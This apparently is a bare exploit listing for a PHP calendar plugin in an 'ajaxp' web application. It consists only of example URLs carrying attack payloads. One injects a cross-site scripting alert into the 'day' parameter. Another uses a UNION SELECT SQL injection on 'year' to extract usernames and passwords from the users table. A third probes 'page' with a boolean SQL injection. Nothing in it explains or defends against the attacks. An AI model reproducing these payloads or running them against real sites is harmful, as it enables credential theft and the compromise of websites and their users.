http://www.example.com/PATH/plugins/calendar/calendar_backend.php?pageec=dayview&day=Example: >'>alert("JosS")%3B http://www.example.com/PATH/plugins/calendar/calendar_backend.php?pageec=dayview&month=2&year=-1+union+all+select+1,2,3,concat(username,char(54),password),5,6,7,8,9,0,1+from+dbpfixajaxp_users/* http://www.example.com/PATH/ajaxp_backend.php?page=1+and+1%3D0